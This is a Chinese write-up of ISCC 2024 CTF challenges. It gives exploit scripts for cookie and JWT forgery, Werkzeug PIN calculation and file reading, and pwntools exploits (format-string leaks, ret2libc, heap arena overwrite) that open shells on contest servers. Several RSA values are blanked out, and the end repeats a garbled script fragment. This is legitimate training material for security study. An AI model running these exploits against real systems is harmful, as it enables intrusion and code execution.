2025年ISCC线上赛2024

ISCC线上赛2024ISCC 线上赛 2024 欢迎关注微信公众号交流赛题 练武题 web 还没想好名字的塔防游戏 f12 查看源码 world js 查看提示 Bears Brew Storms Opal Oceans Glow Elves Whisper Wonders 网站首页看到 Mystic Defense War The

大家好,我是讯享网,很高兴认识大家。

ISCC线上赛2024

欢迎关注微信公众号交流赛题
微信公众号
讯享网

练武题

web

还没想好名字的塔防游戏

f12查看源码,world.js,查看提示

image-20240506212159551

Bears Brew Storms Opal Oceans Glow Elves Whisper Wonders 

讯享网

网站首页看到

讯享网Mystic Defense War: The Secret of Guardian Towers and Magical Monsters 

image-20240506212426846

去掉小写o与a首字母组合刚好18位

Flask中的pin值计算

image-20240506112746660

解码得到/getusername

image-20240506112830697

访问

image-20240506112919214

再次输入提示

image-20240506112944467

访问路由,app

image-20240506113100952

image-20240506113243104

一秒内计算数学,写脚本

import requests url1='http://101.200.138.180:10006/crawler?answer=' url2='http://101.200.138.180:10006/get_expression' s = requests.Session() res=s.get(url2) math=res.text.split('"') math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/') result1 = eval(math1) result1=str(result1) result2=s.get(url1+result1) print(result2.text) 

image-20240506113434475

访问路由,解码

{“alg”:“HS256”,“typ”:“JWT”}{“name”:“donate”,“quantity”:1}

image-20240506113648442

看源码部分,获取功德代码是这段,

讯享网 .then(data => { document.querySelector('h1').textContent = '当前功德:' + data.gongde; document.querySelectorAll('h1')[1].textContent = data.message; <p style="display: none;">ISCC_muyu_2024</p> 

将donate->gongde,quantity拉大,盲猜hash256是ISCC_muyu_2024构造jwt

image-20240506115917754

敲木鱼抓包更换jwt,给出地址:02:42:ac:18:00:02提示/machine_id

点击vip拿到新的jwt

image-20240506123800776

{ "exp": , "iat": , "jti": "slBj9vxEIRLuzzXLPqu0AA", "nbf": , "role": "member", "username": "ISCCmember" } 

需要role改为supervip,脚本构造

讯享网from json import loads, dumps from jwcrypto.common import base64url_encode, base64url_decode def topic(topic): [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) print(parsed_payload) parsed_payload["role"] = "vip" print(dumps(parsed_payload, separators=(',', ':'))) fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) print(fake_payload) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} ' print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ5NzQ1MTMsImlhdCI6MTcxNDk3MDkxMywianRpIjoiN3hjY05VNWZicF9iMUh6a3BRMWhldyIsIm5iZiI6MTcxNDk3MDkxMywicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.nvxihIURp-b8zrgZRzdXmM0U4ERy_8TKYRkxGYq7sUemVulia9Ssh6ojLtJyW-ZVjK4G6-HYhfgvyP1Fcq90uGu51YDDgRNJi4h0ajuraTHCBWn0h91WAnC_YAtCnitVDBOY8j1eB_i1WdIbS2o-jiM0prPYMROzPqv8FVTUCss3QsG4MN9H3LqfvHdvlejIJLAxpeyIdbDudwKZ2cLCfxvfo4mI7sffqLUyj86FdlsANR7aaMue5OZIg4bpizagawAFCpUKKjwL3uqghUShiVhPUz2oE4XNoFvSH9Dl0S7qhd3Phukc9tRuIFhLRGn-_FLN8jkiJTcVXZXEKSUuEw')) 

bp传参,显示welcome_to_iscc_club,应该是supervip

的keyimage-20240506125133954

使用flask_session_cookie_manager3.py伪造jwt

#!/usr/bin/env python3 """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' # standard imports import sys import zlib from itsdangerous import base64_decode import ast # Abstract Base Classes (PEP 3119) if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3') elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 from abc import ABCMeta, abstractmethod else: # > 3.4 from abc import ABC, abstractmethod # Lib for argument parsing import argparse # external Imports from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 class FSCM(metaclass=ABCMeta): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e else: # > 3.4 class FSCM(ABC): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e if __name__ == "__main__": # Args are only relevant for __main__ usage  Description for help parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI")  prepare sub commands subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')  create the parser for the encode command parser_encode = subparsers.add_parser('encode', help='encode') parser_encode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=True) parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', help='Session cookie structure', required=True)  create the parser for the decode command parser_decode = subparsers.add_parser('decode', help='decode') parser_decode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=False) parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', help='Session cookie value', required=True)  get args args = parser.parse_args()  find the option chosen if(args.subcommand == 'encode'): if(args.secret_key is not None and args.cookie_structure is not None): print(FSCM.encode(args.secret_key, args.cookie_structure)) elif(args.subcommand == 'decode'): if(args.secret_key is not None and args.cookie_value is not None): print(FSCM.decode(args.cookie_value,args.secret_key)) elif(args.cookie_value is not None): print(FSCM.decode(args.cookie_value)) 

image-20240506125530802

eyJyb2xlIjoic3VwZXJ2aXAifQ.Zjhihg.4pLyp5XEkqZlgXxoktSOYqyKWik

bp修改svipcookie得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,应该就是machine-id

image-20240506125646005

pin脚本

讯享网import hashlib from itertools import chain probably_public_bits = [ 'pincalculate',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '99902',# str(uuid.getnode()), /sys/class/net/ens33/address 'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{ 
     h.hexdigest()[:20]}" # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits num = None if num is None: h.update(b"pinsalt") num = f"{ 
     int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num print(rv) 

运行使用payload:http://101.200.138.180:10006/console?pin=947-885-653

代码审计

题目

#! /usr/bin/env python # encoding=utf-8 from flask import Flask from flask import request import hashlib import urllib.parse import os import json app = Flask(__name__) #随机16位 secret_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if not os.path.exists(self.sandbox): os.mkdir(self.sandbox) def Exec(self): result = { 
   } result['code'] = 500 if self.checkSign(): if "scan" in self.action: resp = scan(self.param) if resp == "Connection Timeout": result['data'] = resp else: print(resp) self.append_to_file(resp) # 追加内容到已存在的文件 result['code'] = 200 if "read" in self.action: result['code'] = 200 result['data'] = self.read_from_file() # 从已存在的文件中读取 if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if get_sign(self.action, self.param) == self.sign: return True else: return False #调用了get_sign, @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.parse.unquote(request.args.get("param", "")) action = "read" print(request.args.get("param", "")) return get_sign(action, param) @app.route('/De1ta', methods=['GET', 'POST']) def challenge(): print(request.cookies.get("action")) print(request.args.get("param", "")) print(request.cookies.get("sign")) action = urllib.parse.unquote(request.cookies.get("action")) param = urllib.parse.unquote(request.args.get("param", "")) sign = urllib.parse.unquote(request.cookies.get("sign")) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) def scan(param): try: with open(param, 'r') as file: content = file.read() return content except FileNotFoundError: return "The file does not exist" def md5(content): return hashlib.md5(content.encode()).hexdigest() def get_sign(action, param): return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest() def waf(param): check = param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run() 

访问geneSign得到签名hash

image-20240510154857460

由随机的密钥+提交的参数+一个动作 (key+param+action) 这里动作默认为scan。

访问De1ta,由cookies和提交的参数,会去执行Task类的Exec方法。 Exec方法里会根据提交的参数去生成签名Hash,去checkSign。 当签名验证成功后,去根据动作去追加文件,去读取文件。

根据上面和题目提示已经知道了要读取flag.txt。 所以必须过checkSign方法。 所以路由De1ta生成的签名和路由geneSign的签名必须一样。 2次提交中,key是随机生成的,是一样的,不用变。 param是人工手动提交的。 路由geneSign的action是默认的scan。 所以第一次路由geneSignparam提交: flag.txtread 此时生成的hash为: hasH(随机的Key+flag.txtread+“scan”) 请求包

讯享网GET /geneSign?param=flag.txtread HTTP/1.1
 Host: 101.200.138.180:12315
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 
like Gecko) Chrome/124.0.0.0 Safari/537.36
 Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
 e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close

响应包

HTTP/1.1 200 OK
 Server: Werkzeug/3.0.2 Python/3.12.3
 Date: Fri, 10 May 2024 05:16:59 GMT
 Content-Type: text/html; charset=utf-8
 Content-Length: 32
 Connection: close
 19528176342cf0870f5327eca3e88776

image-20240510155755982

第二次路由De1ta提交flag.txt cookies里面附上hash,和action readscan 第二次生成的Hash hasH(随机的Key+flag.txt+“readscan”)

请求包

讯享网GET /De1ta?param=flag.txt HTTP/1.1 Host: 101.200.138.180:12315 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,  like Gecko) Chrome/124.0.0.0 Safari/537.36 Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Cookie: sign=19528176342cf0870f5327eca3e88776; action=readscan Accept-Language: zh-CN,zh;q=0.9 Connection: close

响应包

HTTP/1.1 200 OK
 Server: Werkzeug/3.0.2 Python/3.12.3
 Date: Fri, 10 May 2024 05:17:09 GMT
 Content-Type: text/html; charset=utf-8
 Content-Length: 47
 Connection: close
 {"code": 200, "data": "ISCC{dhc7LLugXaz*ezt1}"}

image-20240510155844420

原神启动

直接cve-2020-1938打

image-20240510160733761

源码

CVE-2020-1938/CVE-2020-1938.py at master · xindongzhuaizhuai/CVE-2020-1938 (github.com)

misc

RSA_KU

题目

讯享网n = 0000 e = 65537 c = 00000000001 #(p-2)*(q-1) = 0 #(p-1)*(q-2) = 000 

直接写脚本

import gmpy2 from Crypto.Util.number import * n = 0000 e = 65537 c = 00000000001 n1 = 0 # (p-2)*(q-1) n2 = 000 # (p-1)*(q-2) ppq = (n - n1 + n - n2 + 4) // 3 # p+q '''n-(p-2)*(q-1)=pq-(pq-p-2q+2)=p+2q-2 ① n-(p-1)*(q-2)=pq-(pq-2p-q+2)=2p+q-2 ② ①+②:n-(p-2)*(q-1)+n-(p-1)*(q-2)=3*(p+q)-4 p+q=(n-(p-2)*(q-1)+n-(p-1)*(q-2)+4)/3''' phi = n - ppq + 1 # phi=(p-1)*(q-1)=pq-(p+q)+1 d = gmpy2.invert(e, phi) flag = long_to_bytes((pow(c, d, n))) print(flag) 
工业互联网模拟仿真数据分析

题目一:ip长度固定的只有1.2-1.4

image-20240506214614206

192.168.1.2,192.168.1.4

题目二:

tshark -r 工业互联网模拟仿真数据.pcap -T fields -e data.data -Y “data.len==12”

image-20240506220333459

明显确定字段就是2024

题目三:

192.168.1.3-192.168.1.5时间大致相同

文末第五组时间间隔是固定的0.6

题目四:

192.168.1.3,192.168.1.2,192.168.1.6

image-20240506223611840

题目五:

五个字符校验算法,假设CRC16,CRC32

倒数位必为1 尝试CRC16CRC32并尝试0-10为起始位

为CRC16,4,1时成功提交

adcca5c2a82064a17a645d35b6b054cd

Number_is_the_key

image-20240507000515361

修改后缀zip

解压后在worksheets运行脚本

讯享网import xmltodict import json def xml_to_json(xml_string): xml_dict = xmltodict.parse(xml_string) json_data = json.dumps(xml_dict, indent=4) return json_data f = open("sheet1.xml", mode="r").read() json_content = xml_to_json(f) json_content = json.loads(json_content) data = json_content["worksheet"]["sheetData"]["row"] t = [] for num in range(len(data)): for d in data[num]["c"]: t.append(d["@r"]) from openpyxl import Workbook from openpyxl.styles import PatternFill wb = Workbook() ws = wb.active for d in t: cell_to_fill = ws[d] fill = PatternFill(start_color='00FF00', end_color='FFFFFF', fill_type='solid') cell_to_fill.fill = fill wb.save("1.xlsx") 

得到1.xlsx,调整行高与行列扫码

image-20240507002742383

FunZip

下载附件,使用puzz工具解码

image-20240505223307598

精装四合一

四个图片中每个图片的文件尾部都带着一串数据,我们看到这些数据都异或0xff都会是一个zip文件的一 部分,那么写个脚本将这四个文件的文件尾提取出来再进行异或0xff,然后再拼接,会得到一个zip

def trim_and_xor_with_ff(input_filename, output_filename, target_hex): # 将16进制字符串转换为字节 target_bytes = bytes.fromhex(target_hex.replace(' ', '')) # 初始化一个标志位,表示是否已经找到目标字节序列 found_target = False with open(input_filename, 'rb') as infile, open(output_filename, 'wb') as outfile: # 读取文件的字节 while True: chunk = infile.read(4096) # 一次读取4096字节 if not chunk: break # 如果文件读取完毕,则退出循环 # 检查目标字节序列是否在块中 index = chunk.find(target_bytes) if index != -1: # 如果找到,则只处理目标字节序列之后的部分 if not found_target: # 跳过包含目标字节序列的块中目标之前的部分 chunk = chunk[index + len(target_bytes):] found_target = True # 对剩余部分进行异或操作 xor_chunk = bytes([b ^ 0xFF for b in chunk]) outfile.write(xor_chunk) elif found_target: # 如果已经找到目标字节序列,则直接对整个块进行异或操作 xor_chunk = bytes([b ^ 0xFF for b in chunk]) outfile.write(xor_chunk) # 如果尚未找到目标字节序列,则不处理该块(因为我们只关心目标之后的数据) # 使用函数 input_filename = 'left_hand_invert.png' # 输入文件名 output_filename = '2' # 输出文件名 target_hex = 'AE' # 要查找的16进制字符串 trim_and_xor_with_ff(input_filename, output_filename, target_hex) input_filename = 'left_foot_invert.png' # 输入文件名 output_filename = '1' # 输出文件名 trim_and_xor_with_ff(input_filename, output_filename, target_hex) input_filename = 'right_hand_invert.png' # 输入文件名 output_filename = '4' # 输出文件名 trim_and_xor_with_ff(input_filename, output_filename, target_hex) input_filename = 'right_foot_invert.png' # 输入文件名 output_filename = '3' # 输出文件名 trim_and_xor_with_ff(input_filename, output_filename, target_hex) #文件拼接 f1=open('1','rb') f2=open('2','rb') f3=open('3','rb') f4=open('4','rb') f5=open('1.zip','wb') for i in range(3176): f5.write(f1.read(1)) f5.write(f2.read(1)) f5.write(f3.read(1)) f5.write(f4.read(1)) f5.write(f1.read(1)) 

zip爆破密码是65537,这是个e值

ctrl+a全选,字体,取消隐藏

image-20240507182651281

00

检查文件头word也是zip

image-20240507182757605

看到trueflag

image-20240507192359148

010打开,是16进制

image-20240507192414323

rsa脚本

讯享网import gmpy2 from Crypto.Util.number import * from binascii import a2b_hex,b2a_hex import binascii e = 65537 c = 0x1cb2d409f66fa525fe6a300cca1e81fc4edf1f2aa2a70283a48d0840e #1.将n分解为p和q p = 000381 q =  n = p*q phi = (p-1)*(q-1) #2.求d d = gmpy2.invert(e,phi) #3.m=pow(c,d,n) m = gmpy2.powmod(c,d,n) print(long_to_bytes(m)) 

reverse

迷失之门

无壳

image-20240507194148160

脚本

import re def find_sequence_and_concatenate(file_path): pattern = b'\x0F\xB6\x00\x3C(.)' with open(file_path, 'rb') as file: data = file.read() matches = re.findall(pattern, data) result = ''.join([match.decode('latin1') for match in matches]) return result file_path = 'ez.exe' result = find_sequence_and_concatenate(file_path) print(result) enc = bytes(result, encoding='UTF-8') key = [i for i in b"DABBZXQESVFRWNGTHYJUMKIOLPC"] # print([i + 51 for i in key]) index = [] for i in enc: i_char = chr(i) if i_char in "ABCDEFGHIJKLMNOPQRSTUVWXYZ": index.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(i_char)) elif i_char in "abcdefghijklmnopqrstuvwxyz": index.append("abcdefghijklmnopqrstuvwxyz".index(i_char) + 26) elif i_char in "0+/-=!#&*()?;:*^%": index.append("0+/-=!#&*()?;:*^%".index(i_char) + 52) else: print("wrong") # print(index) for i in range(len(index)): print(chr((key[i] + index[i])), end='') 
DLLCode

首先拿到赛题,我们先分析一下,这里有一个.dll文件一看就是需要运行时可能需要的。 32bit,无壳

image-20240510203354435

直接看main()函数:

image-20240510203415257

C++写的需要规整一下格式,分析后,拿到思路: 首先输入一个字符串(flag)—>进行编码—>进行了一个加密操作—>比较输出结果。 接下来看一下加密的部分: sub_4014D0(v30, v33);

这个就是重新进行索引。 到后面可以发现这里重新索引后就是输入的后半部分。 前部分进行了异或,异或的值为“ISCC” 拿到比较的值:v8

讯享网s = [0,16,56,21,10,61,113,43,11,0,20,3,67,89,83,89,70,84,64,103,116,125,117,98] s1 = s[:12] v7 = s[12:] v4 = [2, 0, 3, 1, 6, 4, 7, 5, 10, 8, 11, 9] s2 = [0] * 12 for i in range(len(s2)): s2[i] = v7[v4[i]] key = "ISCC" for i in range(len(s1)): s1[i] ^= ord(key[i % len(key)]) result = "" for i in range(len(s1)): result += chr(s1[i]) + chr(s2[i]) print(result) 

image-20240510203452441

pwn

chaos

image-20240507125647348

跑一下,看出是个堆

image-20240507130258931

gets存在溢出风险

先用1分配地址,5释放内存块,ptr变悬挂指针,2对buf[0]释放,5构造数据满足strncmp

运行

1 64 asd 5 64 asf 2 0 5 64 FlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlag ls拿到flag 
easyshell

看main函数

image-20240510212515962

check

image-20240510212505883

讯享网from pwn import * context(log_level='DEBUG') p = remote('182.92.237.102', 10011) p.recvuntil(b"shell") payload = b'flagis %15$p.%17$p' p.sendline(payload) s = p.recvuntil(b'flag') # 获取canary和piebase canary,main152 = s[3:].split(b' ')[0].split(b'.') piebase = int(main152,16)-0xfe-0x1422 canary = int(canary,16) success("canary: "+hex(canary)+"\npiebase:"+hex(piebase)) # 计算backdoor函数地址,+5为了跳过push backdoor_addr = piebase+0x1289+5 payload = b'a'*(0x40-8)+p64(canary)+b'\0'*8+p64(backdoor_addr) p.sendline(payload) p.recvuntil(b'"help"') p.sendline(b'exit') p.interactive() 
Flag

checksec分析

image-20240511082713481

from pwn import * from LibcSearcher import * context(log_level='debug',arch='i386',os='linux') #io = process('./attachment-12') io = remote('182.92.237.102',10012) io.recvuntil("what's the content?") payload = '%p-'*18 + 'aaaa%p' #gdb.attach(io) io.sendline(payload) io.recvuntil('aaaa') canary = int(io.recv(10),16) success('canary---->'+hex(canary)) io.recvuntil('Input:\n') puts_plt = 0x0 puts_got = 0x804C01C pop_ebx = 0x0 ret = 0x0e #gdb.attach(io) back = 0x0B main = 0x80494C2 payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 +p32(puts_plt) + p32(back) + p32(puts_got) io.send(payload) puts = u32(io.recv(4)) success('puts---->'+hex(puts)) pause() system = puts - 0x06d1e0 + 0x041360 binsh = puts - 0x06d1e0 + 0x18c363 io.recvuntil('Input:\n') payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 + p32(system) + p32(0) + p32(binsh) #gdb.attach(io) io.send(payload) io.interactive() 
shopping

image-20240507152443568

查看保护

image-20240507152626306

利用线程,堆溢出,没有free函数,有system函数,bss段上有函数指针。申请堆块把mmap的 内存分配完,使线程arena重新分配到高地址,之后利用堆溢出覆盖arena,伪造一个 fastbin 到 bss 段附近。之后申请fastbin并改bss上的write为system

讯享网from pwn import * path = "./attachment-11" sh = remote('182.92.237.102',10019) elf = ELF(path) system_plt = elf.plt['system'] sh.sendlineafter('Enter the password:', "I'm ready for shopping") def add(size, n, content=''): sh.sendlineafter(b'Action:', '1') sh.sendlineafter(b'Item ID:', str(size)) sh.sendlineafter(b'Quantity:', str(n)) if content == '': sh.sendlineafter(b'Add gift message? (0/1):', '0') else: sh.sendlineafter(b'Add gift message? (0/1):', '1') sh.sendafter(b'Message: ', content) for i in range(12): add(0x4000, 1000) add(0x4000, 262, '0' * 0x3FF0) # 溢出,修改thread_arena,将bss上的fake_chunk接到fastbin 里 payload = b'1' * 0x50 + p32(0) + p32(3) + 10 * p64(0x60201d) sleep(0.2) sh.send(payload) sleep(0.2) payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt) payload = payload.ljust(0x60, b'b') add(0x60, 0, payload) sh.interactive() 

mobile

Puzzle_Game

打开逆向软件分析

图片20240502221747

脚本

import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.Random; public class Test { 
    private static String combineStrings(String arg1, String arg2) { 
    return arg1 + arg2; } private static byte[] customEncrypt(byte[] arg4, byte[] arg5) { 
    byte[] v0 = new byte[arg4.length]; int v1; for(v1 = 0; v1 < arg4.length; ++v1) { 
    v0[v1] = (byte)(arg4[v1] ^ arg5[v1 % arg5.length]); } return v0; } public static String encrypt(String arg3, String arg4) { 
    byte[] v0 = generateSalt(16); byte[] v3 = customEncrypt(combineStrings(arg3, arg4).getBytes(StandardCharsets.UTF_8), v0); byte[] v4 = new byte[v0.length + v3.length]; System.arraycopy(v0, 0, v4, 0, v0.length); System.arraycopy(v3, 0, v4, v0.length, v3.length); return Base64.getEncoder().encodeToString(v4); } public static String encrypt2(String arg3) { 
    byte[] v3 = arg3.getBytes(StandardCharsets.UTF_8); int v0 = 0; int v1; for(v1 = 0; v1 < v3.length; ++v1) { 
    v3[v1] = (byte)((v3[v1] + 0x7F) % 0x100); } byte[] v1_1 = new byte[v3.length]; while(v0 < v3.length) { 
    v1_1[v0] = (byte)(v0 % 2 == 0 ? v3[v0] ^ 0x7B : v3[v0] ^ 0xEA); ++v0; } return Base64.getEncoder().encodeToString(v1_1); } private static byte[] generateSalt(int i) { 
    byte[] bArr = new byte[i]; new Random(2983L).nextBytes(bArr); return bArr; } public static void main(String[] args) { 
    System.out.println("ISCC{"+encrypt2(encrypt("0", "gwC9nOCNUhsHqZm")).substring(0, 32)+"}"); } } 

image-20240507202026609

擂台题

misc

重“隐”

使用puzz查看图片,压缩包

image-20240505225702027

foremost分离压缩包

image-20240505225522675

解压需要密码,先看音频文件

image-20240506000034957

解码

image-20240506000138771

->九宫格->urhdbdfge

输入00001303.zip密码

image-20240506000238245

解码得到前半部分flag

image-20240506000322164

Deepsound打开音频需要密码

image-20240506104634374

使用deepsound2john.py脚本获取密码hash值,并使用kali的john爆破工具

讯享网#! python3 import logging import os import sys import textwrap def decode_data_low(buf): return buf[::2] def decode_data_normal(buf): out = bytearray() for i in range(0, len(buf), 4): out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15)) return out def decode_data_high(buf): out = bytearray() for i in range(0, len(buf), 8): out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \ | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3)) return out def is_magic(buf): # This is a more efficient way of testing for the `DSCF` magic header without # decoding the whole buffer return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \ and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \ and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \ and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15) def is_wave(buf): return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE' def process_deepsound_file(f): bname = os.path.basename(f.name) logger = logging.getLogger(bname) # Check if it's a .wav file buf = f.read(12) if not is_wave(buf): global convert_warn logger.error('file not in .wav format') convert_warn = True return f.seek(0, os.SEEK_SET) # Scan for the marker... hdrsz = 104 hdr = None while True: off = f.tell() buf = f.read(hdrsz) if len(buf) < hdrsz: break if is_magic(buf): hdr = decode_data_normal(buf) logger.info('found DeepSound header at offset %i', off) break f.seek(-hdrsz + 1, os.SEEK_CUR) if hdr is None: logger.warn('does not appear to be a DeepSound file') return # Check some header fields mode = hdr[4] encrypted = hdr[5] modes = { 
   2: 'low', 4: 'normal', 8: 'high'} if mode in modes: logger.info('data is encoded in %s-quality mode', modes[mode]) else: logger.error('unexpected data encoding mode %i', modes[mode]) return if encrypted == 0: logger.warn('file is not encrypted') return elif encrypted != 1: logger.error('unexpected encryption flag %i', encrypted) return sha1 = hdr[6:6+20] print('%s:$dynamic_1529$%s' % (bname, sha1.hex())) if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('--verbose', '-v', action='store_true') parser.add_argument('files', nargs='+', metavar='file', type=argparse.FileType('rb', bufsize=4096)) args = parser.parse_args() if args.verbose: logging.basicConfig(level=logging.INFO) else: logging.basicConfig(level=logging.WARN) convert_warn = False for f in args.files: process_deepsound_file(f) if convert_warn: print(textwrap.dedent.rstrip(), file=sys.stderr) 

image-20240506104801124

得到密码teenager,打开得到message.txt

image-20240506105123254

打开使用文字盲水印解密

image-20240506110404212

3HodAcpU52ryNLs4f7xBMqmjA

base解密求出后半段flag

image-20240506110513267
nfo(‘data is encoded in %s-quality mode’, modes[mode])
else:
logger.error(‘unexpected data encoding mode %i’, modes[mode])
return
if encrypted == 0:
logger.warn(‘file is not encrypted’)
return
elif encrypted != 1:
logger.error(‘unexpected encryption flag %i’, encrypted)
return
sha1 = hdr[6:6+20]
print(‘%s: d y n a m i c 1 529 dynamic_1529 dynamic1529%s’ % (bname, sha1.hex()))
if name == ‘main’:
import argparse
parser = argparse.ArgumentParser()
parser.add_argument(‘–verbose’, ‘-v’, action=‘store_true’)
parser.add_argument(‘files’, nargs=‘+’, metavar=‘file’,
type=argparse.FileType(‘rb’, bufsize=4096))
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.WARN)
convert_warn = False
for f in args.files:
process_deepsound_file(f)
if convert_warn:
print(textwrap.dedent.rstrip(), file=sys.stderr)

 [外链图片转存中...(img-GAtAr5wL-51)] 得到密码teenager,打开得到message.txt [外链图片转存中...(img-vQSNfC8c-51)] 打开使用文字盲水印解密 [外链图片转存中...(img-yZWFJTE8-51)] 3HodAcpU52ryNLs4f7xBMqmjA base解密求出后半段flag [外链图片转存中...(img-ol9T0eGw-51)] 
小讯
上一篇 2025-04-09 22:13
下一篇 2025-03-19 14:51

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
